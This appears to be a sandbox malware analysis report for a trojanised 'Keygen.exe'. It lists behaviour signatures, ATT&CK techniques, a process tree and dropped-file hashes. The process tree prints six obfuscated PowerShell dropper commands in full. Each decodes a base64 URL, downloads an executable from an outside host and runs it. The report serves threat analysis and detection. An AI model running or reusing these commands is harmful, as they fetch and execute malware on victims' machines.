a4c7e0fa5387a8d4bf68638494b6a8c0b7299798cb87788edd70963256895e37

Analysis

max time kernel
141s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20250502-en
resource tags

arch:x64arch:x86image:win10v2004-20250502-enlocale:en-usos:windows10-2004-x64system
submitted
14/05/2025, 08:25

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General

Target

Keygen.exe
Size

849KB
MD5

dbde61502c5c0e17ebc6919f361c32b9
SHA1

189749cf0b66a9f560b68861f98c22cdbcafc566
SHA256

88cad5f9433e50af09ac9cad9db06e9003e85be739060b88b64186c05c0d636b
SHA512

d9b8537f05844ec2f2549e2049e967a8023bfe432e3a9cf25fc0f7ad720e57a5830be733e1812cc806c5b68cd9586a031e394f67fc7e3f7fe390625fd5dedfbb
SSDEEP

24576:uSdQdKdRdOdHdmHBnWs/nROBiGR4+hazer+Vufo/JxBYQ5:hH9DnR1Z+45Ufo/PBL

Score

10^/10

discovery execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
22	5052	powershell.exe
23	1760	powershell.exe
26	1456	powershell.exe

Checks computer location settings 2 TTPs 8 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3299287909-2279959458-198972791-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3299287909-2279959458-198972791-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3299287909-2279959458-198972791-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3299287909-2279959458-198972791-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3299287909-2279959458-198972791-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3299287909-2279959458-198972791-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3299287909-2279959458-198972791-1000\Control Panel\International\Geo\Nation	Keygen.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3299287909-2279959458-198972791-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
4816	Keygen.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 6 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5052	powershell.exe
1760	powershell.exe
6140	powershell.exe
1456	powershell.exe
5312	powershell.exe
5356	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 17 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	timeout.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Keygen.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Keygen.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe

Delays execution with timeout.exe 2 IoCs

defense_evasion

pid	Process
5524	timeout.exe
1764	timeout.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-3299287909-2279959458-198972791-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
5356	powershell.exe
5356	powershell.exe
5052	powershell.exe
5052	powershell.exe
5356	powershell.exe
1760	powershell.exe
1760	powershell.exe
5052	powershell.exe
6140	powershell.exe
6140	powershell.exe
1760	powershell.exe
6140	powershell.exe
1456	powershell.exe
1456	powershell.exe
5312	powershell.exe
5312	powershell.exe
1456	powershell.exe
5312	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	5356	powershell.exe
Token: SeDebugPrivilege	5052	powershell.exe
Token: SeDebugPrivilege	1760	powershell.exe
Token: SeDebugPrivilege	6140	powershell.exe
Token: SeDebugPrivilege	1456	powershell.exe
Token: SeDebugPrivilege	5312	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4816	Keygen.exe

Suspicious use of WriteProcessMemory 48 IoCs

description	pid	Process	procid_target
PID 3180 wrote to memory of 1224	3180	Keygen.exe	88
PID 3180 wrote to memory of 1224	3180	Keygen.exe	88
PID 3180 wrote to memory of 1224	3180	Keygen.exe	88
PID 1224 wrote to memory of 4816	1224	cmd.exe	92
PID 1224 wrote to memory of 4816	1224	cmd.exe	92
PID 1224 wrote to memory of 4816	1224	cmd.exe	92
PID 1224 wrote to memory of 6088	1224	cmd.exe	93
PID 1224 wrote to memory of 6088	1224	cmd.exe	93
PID 1224 wrote to memory of 6088	1224	cmd.exe	93
PID 1224 wrote to memory of 1696	1224	cmd.exe	94
PID 1224 wrote to memory of 1696	1224	cmd.exe	94
PID 1224 wrote to memory of 1696	1224	cmd.exe	94
PID 1224 wrote to memory of 5524	1224	cmd.exe	95
PID 1224 wrote to memory of 5524	1224	cmd.exe	95
PID 1224 wrote to memory of 5524	1224	cmd.exe	95
PID 1696 wrote to memory of 5356	1696	mshta.exe	96
PID 1696 wrote to memory of 5356	1696	mshta.exe	96
PID 1696 wrote to memory of 5356	1696	mshta.exe	96
PID 6088 wrote to memory of 5052	6088	mshta.exe	98
PID 6088 wrote to memory of 5052	6088	mshta.exe	98
PID 6088 wrote to memory of 5052	6088	mshta.exe	98
PID 1224 wrote to memory of 4564	1224	cmd.exe	100
PID 1224 wrote to memory of 4564	1224	cmd.exe	100
PID 1224 wrote to memory of 4564	1224	cmd.exe	100
PID 1224 wrote to memory of 2656	1224	cmd.exe	101
PID 1224 wrote to memory of 2656	1224	cmd.exe	101
PID 1224 wrote to memory of 2656	1224	cmd.exe	101
PID 4564 wrote to memory of 1760	4564	mshta.exe	102
PID 4564 wrote to memory of 1760	4564	mshta.exe	102
PID 4564 wrote to memory of 1760	4564	mshta.exe	102
PID 2656 wrote to memory of 6140	2656	mshta.exe	104
PID 2656 wrote to memory of 6140	2656	mshta.exe	104
PID 2656 wrote to memory of 6140	2656	mshta.exe	104
PID 1224 wrote to memory of 1764	1224	cmd.exe	105
PID 1224 wrote to memory of 1764	1224	cmd.exe	105
PID 1224 wrote to memory of 1764	1224	cmd.exe	105
PID 1224 wrote to memory of 5896	1224	cmd.exe	107
PID 1224 wrote to memory of 5896	1224	cmd.exe	107
PID 1224 wrote to memory of 5896	1224	cmd.exe	107
PID 1224 wrote to memory of 2856	1224	cmd.exe	108
PID 1224 wrote to memory of 2856	1224	cmd.exe	108
PID 1224 wrote to memory of 2856	1224	cmd.exe	108
PID 5896 wrote to memory of 1456	5896	mshta.exe	109
PID 5896 wrote to memory of 1456	5896	mshta.exe	109
PID 5896 wrote to memory of 1456	5896	mshta.exe	109
PID 2856 wrote to memory of 5312	2856	mshta.exe	111
PID 2856 wrote to memory of 5312	2856	mshta.exe	111
PID 2856 wrote to memory of 5312	2856	mshta.exe	111

C:\Users\Admin\AppData\Local\Temp\Keygen.exe
"C:\Users\Admin\AppData\Local\Temp\Keygen.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3180
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\8174.tmp\start.bat" C:\Users\Admin\AppData\Local\Temp\Keygen.exe"
  2⤵
  - Checks computer location settings
  - System Location Discovery: System Language Discovery
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:1224
- - C:\Users\Admin\AppData\Local\Temp\8174.tmp\Keygen.exe
    Keygen.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of SetWindowsHookEx
    PID:4816
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\8174.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:6088
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5052
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\8174.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1696
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5356
- - C:\Windows\SysWOW64\timeout.exe
    timeout 1
    3⤵
    - System Location Discovery: System Language Discovery
    - Delays execution with timeout.exe
    PID:5524
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\8174.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4564
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1760
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\8174.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2656
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:6140
- - C:\Windows\SysWOW64\timeout.exe
    timeout 2
    3⤵
    - System Location Discovery: System Language Discovery
    - Delays execution with timeout.exe
    PID:1764
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\8174.tmp\ba.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5896
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1456
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\8174.tmp\ba1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    - Checks computer location settings
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2856
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
      4⤵
      Command and Scripting Interpreter: PowerShell
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5312

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
25604a2821749d30ca35877a7669dff9

SHA1
49c624275363c7b6768452db6868f8100aa967be

SHA256
7f036b1837d205690b992027eb8b81939ba0228fc296d3f30039eeba00bd4476

SHA512
206d70af0b332208ace2565699f5b5da82b6a3806ffa51dd05f16ab568a887d63449da79bbaeb46183038837446a49515d62cb6615e5c5b27563cd5f774b93f5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Filesize
53KB

MD5
06ad34f9739c5159b4d92d702545bd49

SHA1
9152a0d4f153f3f40f7e606be75f81b582ee0c17

SHA256
474813b625f00710f29fa3b488235a6a22201851efb336bddf60d7d24a66bfba

SHA512
c272cd28ae164d465b779163ba9eca6a28261376414c6bbdfbd9f2128adb7f7ff1420e536b4d6000d0301ded2ec9036bc5c657588458bff41f176bdce8d74f92

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
c28eb0228f7d834fe3b300b120264700

SHA1
8a86ad7659e1eb8930bcb0b89a5ced2ba0175144

SHA256
91a910a98896cbce29d2f5a2f51baad76ab1e4b84724baa5758c603784ee4efd

SHA512
f1845e55148333f67c8eefc5806f5413f0383253970b5b93e7ab1bcbe921bc89ce9ecb53690d1fb0fcbda2bf006c1d56d365598cf565658715f72911aefdacf5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
faacc19114ab3efc0abb727255b2b4b8

SHA1
18f4333d571272b0105b4440a2c26030ba2d968b

SHA256
5cd2ee13dce29977eab5112cda0a9940da510e18020b316cde018dbe1151bbd9

SHA512
9a2b61dcc31e78389cd797b401491af8dfcb6e7983822583c920ce6a647e8bb849ea311507717480a3cfa5eb6c270f272019f4a21d12d4c6549b169f88663055

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
5ac5fe713c1eb414553c718d728a1452

SHA1
61312981644f0d1d41f7bd95ed0ec9a04ce2d344

SHA256
a4b1398033c087bb512a94e325f7be8c7a9435f00224df47ea4046d0ad8c27e8

SHA512
0d211b0ecdf9e63ecee6b449e6cec60056b9e0885519fc23c7a0aed04407e3ab940f49bfe890782927141efeacc5d77c0e9ae39038f6c08b8e2d65518799dde5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
5829667f1bb3ac8f8b449478b602ff9f

SHA1
2d023deb66be3388a7ef645096706acd1efdec62

SHA256
c662f10ab6b7781f7e2f0e3f6cb1641296e2f764be388ee2045ac3bdfeddabcf

SHA512
24332c3f4f77aa8877a0ce17de1bae1a0f730436ff6a72a4c7efe15e051797f76a7521476c2f833217a2123b3065156079a5f70f93754c13a7971709b0cb5fd6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
19KB

MD5
29be540ba1484e08f8de3c16a170f117

SHA1
80bbb316b70d36f112498b5d2ceb61c6d188ff49

SHA256
1f8f734fd40990bba4d8310cb72dd18b34826d71cbf316e4ccf016c1b202df2b

SHA512
1258181cdb2661906ab72d548d2e5fc69ef29b376ea90d3911e3a7d764f97d251811aa9d51e7e1b2544cd5330e145b92e9e0a8cb38af9dbbbc14d73455c02ee3

Download Submit
C:\Users\Admin\AppData\Local\Temp\8174.tmp\Keygen.exe

Filesize
678KB

MD5
ea2c982c12fbec5f145948b658da1691

SHA1
d17baf0b8f782934da0c686f2e87f019643be458

SHA256
eecd6f108f35df83d4450effa5d5640efe7e5f2fff819833f01fb2d053e626d4

SHA512
1f1d6768467fff8387be1cf536e01cfbf28cb04777fa184f18fcab0c518ead8d52827abe5ca1c566c425616c7b06ab1bce0c92dd684c818b51fc52fa0f4b74b8

Download Submit
C:\Users\Admin\AppData\Local\Temp\8174.tmp\b.hta

Filesize
17KB

MD5
5bbba448146acc4530b38017be801e2e

SHA1
8c553a7d3492800b630fc7d65a041ae2d466fb36

SHA256
96355db8fd29dcb1f30262c3eac056ff91fd8fa28aa331ed2bedd2bd5f0b3170

SHA512
48e3d605b7c5531cb6406c8ae9d3bd8fbb8f36d7dd7a4cbe0f23fc6ef2df08267ce50d29c7ec86bf861ebdcf9e48fb9c61c218f6584f1a9a0289a10a2fec730b

Download Submit
C:\Users\Admin\AppData\Local\Temp\8174.tmp\b1.hta

Filesize
17KB

MD5
c57770e25dd4e35b027ed001d9f804c2

SHA1
408b1b1e124e23c2cc0c78b58cb0e595e10c83c0

SHA256
bb0fd0011d5a0c1bbb69cb997700eb329eee7bed75fef677122fcfda78edc7f5

SHA512
